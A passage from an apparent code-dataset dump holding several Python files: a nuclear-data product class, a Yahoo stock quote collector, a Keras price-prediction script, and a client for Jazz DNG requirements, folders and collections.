pops[particle.pid].id\n\n if pid not in _reactionProducts: _reactionProducts[pid] = reactionProductsModule.ReactionProduct(category, 0)\n _reactionProducts[pid].multiplicity += multiplicity\n\n if self.__outputChannel is not None: self.__outputChannel.reactionProducts(_reactionProducts)\n\n def removeStyles( self, styleLabels ) :\n\n self.__multiplicity.removeStyles( styleLabels )\n self.__distribution.removeStyles( styleLabels )\n self.__averageProductEnergy.removeStyles( styleLabels )\n self.__averageProductMomentum.removeStyles( styleLabels )\n if( self.__outputChannel is not None ) : self.__outputChannel.removeStyles( styleLabels )\n\n def toXML_strList( self, indent = '', **kwargs ) :\n\n indent2 = indent + kwargs.get( 'incrementalIndent', ' ' )\n\n xmlString = [ '%s<%s pid=\"%s\" label=\"%s\">' % ( indent, self.moniker, self.pid, self.label ) ]\n\n xmlString += self.multiplicity.toXML_strList( indent2, **kwargs )\n xmlString += self.distribution.toXML_strList( indent2, **kwargs )\n xmlString += self.averageProductEnergy.toXML_strList( indent2, **kwargs )\n xmlString += self.averageProductMomentum.toXML_strList( indent2, **kwargs )\n\n if( self.__outputChannel is not None ) :\n xmlString += self.__outputChannel.toXML_strList( indent2, **kwargs )\n\n xmlString[-1] += '' % self.moniker\n return( xmlString )\n\n def toString( self, simpleString = False, exposeGammaMultiplicity = False ) :\n \"\"\"\n Returns a string representation of self. If simpleString is True, the string contains only the final \n particles, and not any intermediate particles.\n \"\"\"\n\n def multiplicityString( ) :\n\n multiplicity = ''\n if( ( self.pid != IDsPoPsModule.photon ) or exposeGammaMultiplicity ) :\n _multiplicity = self.multiplicity.evaluated\n if( isinstance( _multiplicity, multiplicityModule.Constant1d ) ) :\n iValue = int( _multiplicity.value )\n if( iValue == _multiplicity.value ) :\n if( iValue != 1 ) : multiplicity = '%s' % iValue\n else :\n multiplicity = '%s ' % _multiplicity.value\n else :\n multiplicity = 'm(E)*'\n return( multiplicity )\n\n multiplicity = multiplicityString( )\n if( simpleString == True ) :\n productName = '%s%s' % ( multiplicity, self.pid )\n else :\n productName = self.pid\n productName = '%s%s' % ( multiplicity, productName )\n if( self.__outputChannel is not None ) : productName = '(%s -> %s)' % ( productName, self.__outputChannel )\n return( productName )\n\n @classmethod\n def parseNodeUsingClass(cls, node, xPath, linkData, **kwargs):\n \"\"\"Translate a element from xml.\"\"\"\n\n xPath.append( '%s[@label=\"%s\"]' % ( node.tag, node.get( 'label' ) ) )\n\n attrs = dict( node.items( ) )\n prod = cls(attrs.pop('pid'), label=attrs.pop('label'))\n\n kwargs['membersToSkip'] = [outputChannelModule.OutputChannel.moniker]\n childNodesNotParse, membersNotFoundInNode = prod.parseAncestryMembers(node, xPath, linkData, **kwargs)\n\n outputChannel = childNodesNotParse.pop(outputChannelModule.OutputChannel.moniker, None)\n if outputChannel is not None:\n prod.addOutputChannel(outputChannelModule.OutputChannel.parseNodeUsingClass(outputChannel, xPath, linkData, **kwargs))\n\n if len(childNodesNotParse) > 0: raise Exception(\"Encountered unexpected child nodes '%s' in %s!\" % (prod.moniker, ', '.join(list(childNodesNotParse.keys()))))\n\n xPath.pop( )\n\n return prod\n\nclass Products(suitesModule.ExclusiveSuite):\n\n moniker = 'products'\n\n def __init__( self ) :\n\n suitesModule.ExclusiveSuite.__init__( self, ( Product, ) )\n\n def uniqueLabel( self, product ) :\n \"\"\"\n If product's label is the same as another product's label in self, construct a new unique label\n based on product's name appended with '__' and one or more lower case letters (i.e., 'a' to 'z').\n \"\"\"\n\n if( product.label is None ) : product.label = product.pid\n return( suitesModule.ExclusiveSuite.uniqueLabel( self, product ) )\n","sub_path":"fudge/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":31095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"436381989","text":"'''\nCreated on Nov 22, 2013\n\n@author: hcao1\n'''\n'''\nCreated on Nov 20, 2013\n\n@author: hcao1\n'''\nimport csv\nimport json\nimport logging\nfrom time import mktime\nfrom datetime import datetime, date\nimport requests\n\nfrom model.model import Symbol\nfrom model.bar import *\nfrom model.model import US_Exchanges\n\nfrom utils.utils import *\n\n# /// \n# /// s: symbol\n# /// a: start month - 1\n# /// b: start day\n# /// c: start year\n# /// d: end month - 1\n# /// e: end day\n# /// f: end year\n# /// g: {d,w,m,v} -- day/week/month/dividend\n# /// \n\nYahoo_QUOTE_URL = r\"http://ichart.finance.yahoo.com/table.csv?s={symbol}&a={startmonth}&b={startday}&c={startyear}&d={endmonth}&e={endday}&f={endyear}&g=d&ignore=.csv\"\nGoogle_1MIN_URL = r\"http://www.google.com/finance/getprices?i=60&p={days}d&f=d,o,h,l,c,v&df=cpct&q={symbol}\"\nYahoo_5MIN_URL = r'http://chartapi.finance.yahoo.com/instrument/1.0/{symbol}/chartdata;type=quote;range={days}d/csv'\nYahoo_SNAPSHOT_URL = r'http://download.finance.yahoo.com/d/quotes.csv?s={symbol}&f={flag}'\n\nCURR_QUOTE_FLAGS = r\"sd1e1a2jkb4dee7e8e9j1j4rp5p6qr1r5r6r7s7t8y\"\n'''\nsection: \n -stockinfo -- snxd1e1 [0-2]\n -tech info - a2 j k [3-5]\n -fa - b4\nCheck table:\n a2 Average Daily Volume \n j 52-week Low \n k 52-week High \n\n d1 Last Trade Date\n e1 Error Indication (returned for symbol changed / invalid) \n\nsb4 d e e7 e8 e9 f6 j1 j4 r\n b4 Book Value \n d Dividend/Share\n e Earnings/Share \n e7 EPS Estimate Current Year \n e8 EPS Estimate Next Year \n e9 EPS Estimate Next Quarter\n j1 Market Capitalization \n j4 EBITDA\n r P/E Ratio \n\n \n s Symbol \n n Name \n x Stock Exchange\n \n \n p5 Price/Sales \n p6 Price/Book\n\n q Ex-Dividend Date \n r1 Dividend Pay Date \n r5 PEG Ratio \n r6 Price/EPS Estimate Current Year\n r7 Price/EPS Estimate Next Year \n s7 Short Ratio \n t8 1 yr Target Price \n y Dividend Yield\n\n P/E PEG = (p/e)/((e8 -e)*100/e) = p/100(e8-e) PE estimate current year, PE estimate next year. Yield d/p, P/B = P/b4\n'''\n\ndef getSnapshot(symbolSet):\n url = Yahoo_SNAPSHOT_URL.format(symbol = symbolSet.code, flag = CURR_QUOTE_FLAGS)\n r = requests.get(url)\n #analyse csv\n lines = r.text.split('\\n')\n record = lines[0][:-1].split(',')\n try:\n snap = {\n 'symbol' : record[0],\n 'lastTradeDate' : record[1],\n 'Error Indication' : record[2],\n 'Average Daily Volume' : float(record[3]),\n '52-week Low' : tofloat(record[4]),\n '52-week High' : tofloat(record[5]),\n 'Book Value' : record[6],\n 'Dividend/Share' : record[7],\n 'EPS' : record[8],\n 'EPS Estimate Current Year' : record[9],\n 'EPS Estimate Next Year' : record[10],\n 'EPS Estimate Next Quarter' : record[11],\n 'Market Cap' : toMillion(record[12]),\n 'EBITDA' : record[13],\n 'P/E' : record[14],\n 'Price/Sales' : record[15],\n 'Price/Book' : record[16],\n 'Ex-Dividend Date' : record[17],\n 'Dividend Pay Date' : record[18],\n 'PEG Ratio' : record[19],\n 'Price/EPS Estimate Current Year' : record[20],\n 'Price/EPS Estimate Next Year' : record[21],\n 'Short Ratio' : record[22],\n '1 yr Target Price' : record[23],\n 'Yield' : record[24]\n }\n\n return snap\n except:\n print(lines)\n print(symbolSet.code)\n\ndef getDailyQuote(symbol, startmonth, startday, startyear, endmonth, endday, endyear):\n url = Yahoo_QUOTE_URL.format(symbol = symbol, startmonth = startmonth, startday = startday, startyear=startyear,\n endmonth = endmonth, endday = endday, endyear = endyear)\n r = requests.get(url)\n if r.status_code == 200:\n records = r.text.split('\\n')\n records = records[1:-1] # remove the header and ending empty line\n\n bars = []\n for rec in records[::-1]:\n rr = rec.split(',')\n bars.append(Bar(rr[0], rr[1], rr[2], rr[3], rr[4], rr[5])) #tohlc\n\n return bars\n\ndef getIntradayQuote(symbol, prevdate = date(1900,1,1), days = 15):\n url = Yahoo_5MIN_URL.format(symbol = symbol, days=days)\n try:\n r = requests.get(url)\n if r.status_code == 200:\n # 1. get the ranges\n texts = r.text.split('\\n')\n if days == 1:\n rangesline = list(t for t in texts if t.startswith('Timestamp:')) \n rangelist = []\n r = rangesline[0]\n ranges = r.split(':')[1].split(',')\n starttime = datetime.fromtimestamp(int(ranges[0]))\n rangeslot = {'date': starttime.strftime('%Y-%m-%d'),\n 'starttime' : ranges[0],\n 'endtime' : ranges[1],\n 'bars' : []\n }\n rangelist.append(rangeslot) \n else:\n rangesline = list(t for t in texts if t.startswith('range:')) \n rangelist = []\n for r in rangesline:\n ranges = r.split(':')[1].split(',')\n rangeslot = {'date': ranges[0][0:4] + '-' + ranges[0][4:6] + '-' + ranges[0][6:8],\n 'starttime' : ranges[1],\n 'endtime' : ranges[2],\n 'bars' : []\n }\n rangelist.append(rangeslot) \n # 2. get the time series\n barsline = []\n start = False\n for line in texts:\n if line.startswith('volume:'):\n start = True\n else:\n if start:\n barsline.append(line)\n\n # 3. get the range mapping\n for bartext in barsline[:-1]:\n barlist = bartext.split(',')\n bartime = barlist[0]\n for r in rangelist:\n if int(r['starttime']) <= int(bartime) <= int(r['endtime']):\n r['bars'].append(bartext)\n\n\n # 4. make it 5 min bar\n for r in rangelist:\n newbar = []\n starttime = int(r['starttime'])\n endtime = starttime + 300\n while endtime <= int(r['endtime']):\n # make a peusdo bar\n openprice = None\n close = None\n high = 0\n low = 100000\n volume = 0\n for bartext in r['bars']:\n barlist = bartext.split(',')\n bartime = int(barlist[0])\n if starttime <= int(bartime) <= endtime:\n if not openprice:\n openprice = barlist[4]\n close = barlist[1]\n high = max(high, float(barlist[2]))\n low = min(low, float(barlist[3]))\n volume += int(barlist[5])\n\n if openprice:\n newbar.append(str(endtime) + ',' + close + ',' + str(high) + ',' + str(low) + ',' + openprice + ',' + str(volume))\n\n starttime += 300\n endtime += 300\n \n r['bars'] = newbar\n #5. filter by > predate\n finalresult = []\n for r in rangelist:\n if datetime.strptime(r['date'], '%Y-%m-%d').date() > prevdate.date():\n finalresult.append(r)\n # 5. return the object\n return finalresult\n except requests.exceptions.ConnectionError:\n print('Error in retrieve intraday quote')\n return\n\n\n # for t in texts[1:]:\n # records = t.split('\\n')\n # time = records[0].split(',')[0]\n # recordid =str(int(time) - 570 *60)\n \n # valuesDict = [{ '_id' : time}, {'$set': {'values' : '\\n'.join(records[1:]) }}] \n # results.append(valuesDict) \n # return results\n else:\n print('error access yahoo intra day data')\n\n\n\ndef saveUpdateStatus(updateStatus, filename):\n updatestatus_dict = {'starttime' : updateStatus.startTime.strftime(\"%Y-%m-%d\"),\n 'endtime' : updateStatus.endTime.strftime(\"%Y-%m-%d\"),\n 'failedCounts' : updateStatus.failedCounts}\n\n with open(filename, 'w') as a_file:\n json.dump(updatestatus_dict, a_file)\n \n\nif __name__ == '__main__':\n #getDailyQuote('AAPL', 10,1,2013, 11,1,2013)\n getIntradayQuote('HSKA')\n #saveIntradayQuote()\n #print(getSP500Symbols())\n #print(getDow30Symbols())\n #print(getNasdaq100Symbols())\n #saveDailyQuote(getDailyQuote('AAPL', 1,1,1900, 11,1,2013))\n ","sub_path":"collector/quotecollector.py","file_name":"quotecollector.py","file_ext":"py","file_size_in_byte":8977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"131748483","text":"from keras.models import load_model\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nimport pandas_datareader as web\n\n#Fazendo a filtragem dos dados para predição:\ndf = web.DataReader('ITSA4.SA', data_source='yahoo', start='2019/10/23', end='2020/01/23')\n\ndf = df.filter([\"Open\", \"Close\", \"High\", \"Low\", \"Volume\"])\n\ndata = df.values\n\nx_test = data[0:60]\ny_test = data[60:]\n\n#Escalando os valores e ajustando as medidas dos dados:\nscaler = MinMaxScaler(feature_range=(0, 1))\n\nx_test = scaler.fit_transform(x_test)\nx_test = np.array(x_test)\nx_test = np.reshape(x_test, (1, x_test.shape[0], x_test.shape[1]))\n\n\n#Carregando o modelo previamente feito:\nmy_model = load_model('stock_prices_predictions.h5')\n\n#Fazendo a predição da ação\nprediction = my_model.predict(x_test)\nprediction = scaler.inverse_transform(prediction)\n\nprint(prediction)\nprint(y_test)","sub_path":"Stock Prices Predictions/predictions.py","file_name":"predictions.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"102970914","text":"from collections import Iterable\nfrom lxml import etree\nfrom lxml.etree import Element\n\nimport re\nimport utility_funcs.logger_yaml as log\nfrom jazz_dng_client.dng import Jazz\n\nclass DNGRequest:\n pass\n\nclass DNGRequest:\n # -- Note: ETag is stored in attrib list of xml_root\n def __init__(self, jazz_client: Jazz,\n artifact_uri: str=None, title: str = None, description: str=None, primary_text: str=None,\n parent: str=None, xml_root=None, instance_shape: str=None, property_uri: str=None,\n primary_list: list=[], primary: dict={},\n literal_property_list: list=[], literal_properties: dict={},\n resource_property_list: list=[], resource_properties: dict={},\n op_name=None ):\n self.artifact_uri = artifact_uri\n self.description = description\n self.primary_text = primary_text\n self.instanceShape = instance_shape\n self.jazz_client = jazz_client\n self.op_name = op_name\n self.parent = parent\n self.title = title\n\n self.primary_list = primary_list\n self.primary = primary\n self.literal_property_list = literal_property_list\n self.literal_properties = literal_properties\n self.resource_property_list = resource_property_list\n self.resource_properties = resource_properties\n\n self.property_uri = property_uri # (Not sure how this one might be used,,,)\n\n self.E_tag = None\n\n self.xml_root = xml_root\n if self.xml_root is not None:\n self.init_from_xml_root()\n\n def get_name(self, op_name=None) -> str:\n node = self.xml_root.xpath(\"//dcterms:title/text()\", namespaces=Jazz.xpath_namespace())\n return str(node[0])\n\n def get_identifier(self, op_name=None) -> str:\n node = self.xml_root.xpath(\"//dcterms:identifier/text()\", namespaces=Jazz.xpath_namespace())\n return str(node[0])\n\n def __str__(self):\n return self.get_identifier()+\": \"+self.get_name()\n\n def xpath_get_item(self, xpath, func=lambda x: x[0] if len(x) > 0 else None):\n element = self.xml_root.xpath(xpath, namespaces=Jazz.xpath_namespace())\n return func(element) if func is not None else element\n\n def init_from_xml_root(self):\n # -- Is there a way to get this without programming every field?\n # todo: need to pick up the folder_uri, also...\n # -- Should always have a resource URL...\n self.artifact_uri = self.xpath_get_item(\"//*/@rdf:about\")\n self.title = self.xpath_get_item(\"//dcterms:title/text()\")\n self.description = self.xpath_get_item(\"//dcterms:description/text()\")\n self.primary_text = self.xpath_get_item(\"//descendant::jazz_rm:primaryText/*\")\n self.parent = self.xpath_get_item(\"//nav:parent/@rdf:resource\")\n\n # Is this appropriate in all cases?\n self.initialize_from_xml(self.xml_root)\n\n def initialize_from_xml(self, element) -> object:\n \"\"\"This tries to read other values out of the xml object...\"\"\"\n for item in element.xpath(\"//oslc_rm:Requirement/*\", namespaces=Jazz.xpath_namespace()):\n tag = item.tag\n tag = re.sub(r\"^{.*}\", \"\", tag)\n # todo: Need special handling for oslc:instanceShape, nav:parent, and rm_jazz:primaryText rdf:parseType=\"Literal\"\n if tag == 'instanceShape':\n e = item.xpath(\"//oslc:instanceShape/@rdf:resource\", namespaces=Jazz.xpath_namespace())\n if len(e) == 1:\n self[tag] = e[0]\n else:\n log.logger.error(f\"Could not resolve instanceShape: {etree.tostring(item)}\")\n\n elif tag == 'parent':\n e = item.xpath(\"//nav:parent/@rdf:resource\", namespaces=Jazz.xpath_namespace())\n if len(e) == 1:\n self[tag] = e[0]\n else:\n log.logger.error(f\"Could not resolve parent: {etree.tostring(item)}\")\n\n elif tag == 'primaryText':\n e = item.xpath(\"//rm_jazz:primaryText/*\", namespaces=Jazz.xpath_namespace())\n if len(e) == 1:\n self[tag] = e[0]\n else:\n log.logger.error(f\"Could not resolve primaryText: {etree.tostring(item)}\")\n\n else:\n self[tag] = item.text\n return self\n\n def __getitem__(self, key):\n if hasattr(self, key):\n return getattr(self, key)\n\n if key in self.primary_list:\n return self.primary[key]\n\n # -- Handle literal properties\n if key in self.literal_property_list:\n return self.literal_property[key]\n\n # -- Handle resource properties\n if key in self.resource_property_list:\n return self.resource_property[key]\n\n raise LookupError(f\"Unknown field name: {key}\")\n\n def __setitem__(self, key, value):\n if hasattr(self, key):\n setattr(self, key, value)\n return self\n\n if key in self.primary_list:\n self.primary[key] = value\n return self\n\n # -- Handle literal properties\n if key in self.literal_property_list:\n self.literal_properties[key] = value\n return self\n\n # -- Handle resource properties\n if key in self.resource_property_list:\n self.resource_properties[key] = value\n return self\n\n raise LookupError(f\"Unknown field name: {key}\")\n\n # FIXME: Is this right? Seems backwards to me...\n def update_from_xml_root(self):\n self.xpath_get_item(\"//dcterms:title\").text = self.title if self.title is not None else \"\"\n self.xpath_get_item(\"//dcterms:description\").text = self.description if self.description is not None else ''\n # FIXME: self.xpath_get_item(\"//descendant::jazz_rm:primaryText/*\") = self.description if self.description is not None else ''\n # self.xpath_get_item(\"//nav:parent/@rdf:resource\", func=None)[0] = self.parent if self.parent is not None else ''\n self.xpath_get_item(\"//nav:parent\", func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n self.parent if self.parent is not None else '')\n\n def update_to_xml_root(self):\n self.xpath_get_item(\"//dcterms:title\").text = self.title if self.title is not None else \"\"\n self.xpath_get_item(\"//dcterms:description\").text = self.description if self.description is not None else ''\n self.xpath_get_item(\"//nav:parent\", func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n self.parent if self.parent is not None else '')\n pass\n\n def get(self) -> object:\n \"\"\"Make a request to the server to please read get this thing...\"\"\"\n if self.artifact_uri is None:\n raise Exception(\"artifact_uri is not set\")\n\n self.xml_root = self.jazz_client.get_xml(self.artifact_uri, op_name=self.op_name)\n self.init_from_xml_root()\n return self\n\n def put(self) -> object:\n self.update_to_xml_root()\n text = etree.tostring(self.xml_root)\n etag = self.xml_root.attrib['ETag'] if 'ETag' in self.xml_root.attrib else None\n del self.xml_root.attrib['ETag']\n log.logger.debug(f\"About to put {text}\")\n\n def check_response(response):\n log.logger.debug(f\"Result was {response}\")\n if response.status_code >= 400 and response.status_code <= 499:\n raise Exception(f\"Result was {response}. Couldn't put artifact.\")\n pass\n\n new_xml_root = self.jazz_client.put_xml(self.artifact_uri,\n data=text,\n if_match=etag,\n op_name=self.op_name,\n check=check_response)\n # FIXME: We get back the updated object, that data needs to be read into local state.\n if new_xml_root is None:\n #raise Exception(\"Invalid XML response from server\")\n # Note: Actually, this appears to be the normal response! (200)\n pass\n else:\n self.xml_root = new_xml_root\n # This is a problem, maybe.\n self.init_from_xml_root()\n\n return self\n\n def delete(self) -> object:\n self.update_from_xml_root()\n text = etree.tostring(self.xml_root)\n etag = self.xml_root.attrib['ETag'] if 'ETag' in self.xml_root.attrib else None\n del self.xml_root.attrib['ETag']\n log.logger.debug(f\"About to delete {text}\")\n\n def check_response(response):\n # log.logger.debug(f\"Result was {response}\")\n if response.status_code >= 400 and response.status_code <= 499:\n raise Exception(f\"Result was {response}. Couldn't put artifact.\")\n pass\n\n new_xml_root = self.jazz_client.delete_xml(self.artifact_uri,\n if_match=etag,\n op_name=self.op_name,\n check=check_response)\n # FIXME: We get back the updated object, that data needs to be read into local state.\n if new_xml_root is None:\n #raise Exception(\"Invalid XML response from server\")\n pass\n else:\n self.xml_root = new_xml_root\n # This is a problem, maybe.\n self.init_from_xml_root()\n\n return self\n\n def __getstate__(self):\n state = self.__dict__.copy()\n # Remove the unpicklable entries.\n del state['xml_root']\n #\n return state\n\n def __setstate__(self, state):\n # Restore instance attributes (i.e., filename and lineno).\n self.__dict__.update(state)\n # re-read the internal state using 'artifact_uri'...\n self.get()\n\n\nclass Collection(DNGRequest):\n \"\"\"\n \n \n \n \n 2018-02-13T00:23:01.428Z\n \n \n \n 247587\n \n 2018-02-27T00:16:37.354Z\n \n \n Test Collection\n \n \n \n \n \n \n \n This is a new line.This is a new line.This is a new line.This is a\n new line.This is a new line.This is a new line.This is a new line.This is a new line.This is a new line.This\n is a new line.This is a new line.This is a new line.This is a new line.This is a new line.This is a new\n line.This is a new line.This is a new line.This is a new line.This is a new line.This is a new line.This is\n a new line.This is a new line.This is a new line.\n \n \n \n \"\"\"\n def __init__(self, jazz_client: object, artifact_uri: str=None, instance_shape: str=None,\n title: str = None, description: str = None, parent: str = None, xml_root=None,\n property_uri: str=None, op_name: str='RequirementCollection', **kwargs):\n super().__init__(jazz_client, artifact_uri=artifact_uri, title=title, description=description, parent=parent, xml_root=xml_root,\n primary_list=['uri', 'title', 'identifier', 'type', 'description', 'subject', 'creator', 'modified'],\n property_uri=property_uri, instance_shape=instance_shape,\n resource_property_list=['primaryText'], op_name=op_name)\n\n for key in kwargs:\n self[key] = kwargs[key]\n\n self._requirements = None\n\n def __str__(self):\n return f\"Collection ID={self.get_identifier()} '{self.get_name()}'\"\n\n def update_from_xml_root(self):\n super().update_from_xml_root()\n\n # FIXME: Fill in the proper values!\n # self.xpath_get_item(\"//dcterms:title\").text = self.title if self.title is not None else \"\"\n # self.xpath_get_item(\"//dcterms:description\").text = self.description if self.description is not None else ''\n # self.xpath_get_item(\"//nav:parent/@rdf:resource\", func=None)[0] = self.parent if self.parent is not None else ''\n # self.xpath_get_item(\"//nav:parent\", func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n #\n # self.parent if self.parent is not None else '')\n\n def update_to_xml_root(self):\n super().update_to_xml_root()\n description_element = self.xml_root.xpath(\"//rdf:Description\", namespaces=Jazz.xpath_namespace())[0]\n\n # -- save the current (updated) set of requirements\n requirements = self.requirement_set()\n\n # -- Remove currently attached requirements\n for uses_element in self.xml_root.xpath(\"//oslc_rm:uses\", namespaces=Jazz.xpath_namespace()):\n description_element.remove(uses_element)\n\n # -- Append the updated list of requirements\n uses_qname = etree.QName(\"{http://open-services.net/ns/rm#}uses\")\n resource_qname = etree.QName(\"{http://www.w3.org/1999/02/22-rdf-syntax-ns#}resource\")\n for resource in requirements:\n attrib = {resource_qname: resource}\n e = etree._Element.makeelement(self.xml_root, uses_qname, attrib=attrib)\n description_element.append(e)\n\n return etree.tostring(self.xml_root, )\n\n def requirement_set(self):\n if self._requirements is None:\n self._requirements = set()\n for requirement_uri in self.xml_root.xpath(\"//oslc_rm:uses/@rdf:resource\",\n namespaces=Jazz.xpath_namespace()):\n self._requirements.add(requirement_uri)\n pass\n\n return self._requirements\n\n def add_requirements(self, uri_list: Iterable):\n self._requirements = self.requirement_set().union(set(uri_list))\n pass\n\n def remove_requirements(self, uri_list: Iterable):\n self._requirements = self.requirement_set().remove(set(uri_list))\n\n\n\nJazz.map_shape_name_to_class(\"Personal Collection\", Collection)\nJazz.map_shape_name_to_class(\"Collection Release\", Collection)\nJazz.map_shape_name_to_class(\"Collection\", Collection)\n\n\nclass GenericRequirement(DNGRequest):\n \"\"\"Generic Requirement place holder class...\"\"\"\n \"\"\"\n \n 2018-02-02T19:01:25.882Z\n \n \n PFH -- An Initial Requirement to play with\n Copy of PFH -- An Initial Requirement to play with\n \n 2018-02-02T19:01:25.882Z\n \n 2018-02-02T19:01:25.882Z\n 2018-02-02T19:01:25.882Z\n \n \n 244083\n \n \n \n \n\n \"\"\"\n def __init__(self, jazz_client: object, artifact_uri: str=None, instance_shape: str=None,\n title: str = None, description: str = None, parent: str = None, xml_root=None,\n property_uri: str=None, op_name: str=None, **kwargs):\n super().__init__(jazz_client, artifact_uri=artifact_uri, title=title, description=description,\n parent=parent, xml_root=xml_root,\n primary_list=[\n 'uri', 'title', 'identifier', 'type', 'description', 'subject',\n 'creator', 'modified',\n ],\n property_uri=property_uri, instance_shape=instance_shape,\n resource_property_list=['primaryText'], op_name=op_name)\n\n def __str__(self):\n return f\"GenericRequirement ID={self.get_identifier()} '{self.get_name()}'\"\n\n def external_system_id(self):\n \"\"\"Returns the External System ID\"\"\"\n # -- FIXME: Don't like this value at all...\n id_list = self.xml_root.xpath(\"//rm_property:_5cTORK_4EeekDP1y4xXYPQ/text()\", namespaces=Jazz.xpath_namespace())\n return id_list[0] if len(id_list) > 0 else None\n\n def update_from_xml_root(self):\n super().update_from_xml_root()\n\n # FIXME: Fill in the proper values!\n # self.xpath_get_item(\"//dcterms:title\").text = self.title if self.title is not None else \"\"\n # self.xpath_get_item(\"//dcterms:description\").text = self.description if self.description is not None else ''\n # self.xpath_get_item(\"//nav:parent/@rdf:resource\", func=None)[0] = self.parent if self.parent is not None else ''\n # self.xpath_get_item(\"//nav:parent\", func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n # self.parent if self.parent is not None else '')\n\n def __getstate__(self):\n state = self.__dict__.copy()\n # Remove the unpicklable entries.\n del state['xml_root']\n #\n return state\n\n def __setstate__(self, state):\n # Restore instance attributes (i.e., filename and lineno).\n self.__dict__.update(state)\n # re-read the internal state using 'artifact_uri'...\n self.get()\n\n\n\nJazz.map_shape_name_to_class(\"Generic Requirement\", GenericRequirement)\n\n\nclass Requirement(GenericRequirement):\n\n def __init__(self, jazz_client: object, artifact_uri: str=None, instance_shape: str=None,\n title: str = None, description: str = None, parent: str = None, xml_root=None,\n property_uri: str=None, op_name: str=None, **kwargs):\n super().__init__(jazz_client, artifact_uri=artifact_uri, title=title, description=description,\n parent=parent, xml_root=xml_root,\n primary_list=[\n 'uri', 'title', 'identifier', 'type', 'description', 'subject',\n 'creator', 'modified',\n ],\n property_uri=property_uri, instance_shape=instance_shape,\n resource_property_list=['primaryText'], op_name=op_name)\n\n for key in kwargs:\n self[key] = kwargs[key]\n\n def __str__(self):\n return f\"Requirement ID={self.get_identifier()} '{self.get_name()}'\"\n\n def external_system_id(self):\n \"\"\"Returns the External System ID\"\"\"\n # -- FIXME: Don't like this value at all... _5cTORK_4EeekDP1y4xXYPQ\n id_list = self.xml_root.xpath(\"//rm_property:_5cTORK_4EeekDP1y4xXYPQ/text()\", namespaces=Jazz.xpath_namespace())\n return id_list[0] if len(id_list) > 0 else None\n\n @classmethod\n def create_requirement(cls, client: Jazz, name: str=None, description: str=None, parent_folder: object=None,\n shape_name: str=\"Requirement\",\n op_name: str=None) -> object:\n client.logger.debug(f\"create_requirement('{parent_folder.artifact_uri}')\")\n shape_uri = client.get_shape_url(shape_type=shape_name)\n xml = f\"\"\"\n \n \n \n {description if description is not None else ''}\n {name}\n \n \n \n \n \"\"\"\n requirement_creation_factory = client.get_requirement_factory()\n\n # post_xml actually receives the returned content for the requested resource.\n response = None\n\n def get_response(resp):\n nonlocal response\n response = resp\n\n xml_response = client.post_xml(requirement_creation_factory, op_name=op_name, data=xml, check=get_response)\n\n if response.status_code not in [201]:\n raise PermissionError(f\"Unable to create Requirement '{name}', result status {response.status_code}\")\n\n return Requirement(client, xml_root=xml_response)\n\n def __getstate__(self):\n state = self.__dict__.copy()\n # Remove the unpicklable entries.\n del state['xml_root']\n #\n return state\n\n def __setstate__(self, state):\n # Restore instance attributes (i.e., filename and lineno).\n self.__dict__.update(state)\n # re-read the internal state using 'artifact_uri'...\n self.get()\n\n\nJazz.map_shape_name_to_class(\"Requirement-Functional\", Requirement)\nJazz.map_shape_name_to_class(\"Functional Requirement\", Requirement)\nJazz.map_shape_name_to_class(\"Requirement\", Requirement)\nJazz.map_shape_name_to_class(\"Requirements Specification\", Requirement)\nJazz.map_shape_name_to_class(\"Default Requirement\", Requirement)\n\n\nclass Folder(DNGRequest):\n \"\"\"\n \n root\n root\n \n \n \n \n \n\n \"\"\"\n \"\"\"\n On subfolders:\n \n - Initially, a folder is created with no subfolder list, implying that it gets created somehow...\n \n - Subfolders are added to and removed from the current subfolder list to create and delete subfolders.\n \n - Creating a folder that names /this/ folder as a parent would be what creates the subfolder list, no?\n So no separate add operation is required. I suppose updating a folder after changing/nulling the \n folder's parent link would have the effect of deleting the item as a subfolder. If an item has no\n \"valid\" parent, what is its status? \n \n Need to investigate...\n \n - Does this same logic apply to Requirements?\n \n \"\"\"\n root_folder = None\n\n def __init__(self, jazz_client: object, folder_uri: str=None,\n title: str = None, description: str=None, parent: str=None, xml_root=None,\n instance_shape: str=None, op_name: str=None):\n super().__init__(jazz_client, title=title, description=description, artifact_uri=folder_uri,\n parent=parent, xml_root=xml_root, op_name=op_name)\n # self.artifact_uri = folder_uri\n self.op_name = op_name\n self.subfolders = None\n self.context = None\n self.component = None\n self.configuration = None\n self.subfolders_xml_root = None\n self.service_provider = None\n\n # FIXME: if xml_root has been specified, then need to init from that record...\n if self.xml_root is not None:\n self.init_from_xml_root()\n elif self.artifact_uri is not None:\n self.read(self.artifact_uri)\n else:\n self.read(self.get_root_folder_uri(op_name=op_name))\n\n def __str__(self):\n return f\"Folder: '{self.get_name()}'\"\n\n def init_from_xml_root(self):\n super().init_from_xml_root()\n self.component = self.xpath_get_item(\"//oslc_config:component/@rdf:resource\")\n self.service_provider = self.xpath_get_item(\"//oslc:serviceProvider/@rdf:resource\")\n self.subfolders = self.xpath_get_item(\"//nav:subfolders/@rdf:resource\")\n if self.subfolders is not None:\n self.subfolders_xml_root = self .jazz_client.get_xml(self.subfolders, op_name=self.op_name)\n\n def read(self, folder_uri: str) -> DNGRequest:\n self.artifact_uri = folder_uri\n # TODO: Probably needs decoration...\n self.xml_root = self.jazz_client.get_xml(self.artifact_uri, op_name=self.op_name)\n self.init_from_xml_root()\n return self\n\n def update_from_xml_root(self):\n super().update_from_xml_root()\n\n if self.component is not None:\n #self.xpath_get_item(\"//oslc_config:component/@rdf:resource\", func=None)[0] = self.component\n self.xpath_get_item(\"//oslc_config:component\", func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n self.component)\n\n if self.service_provider is not None:\n self.xpath_get_item(\"//oslc:serviceProvider/@rdf:resource\", func=None)[0] = self.service_provider\n self.xpath_get_item(\"//oslc:serviceProvider\", 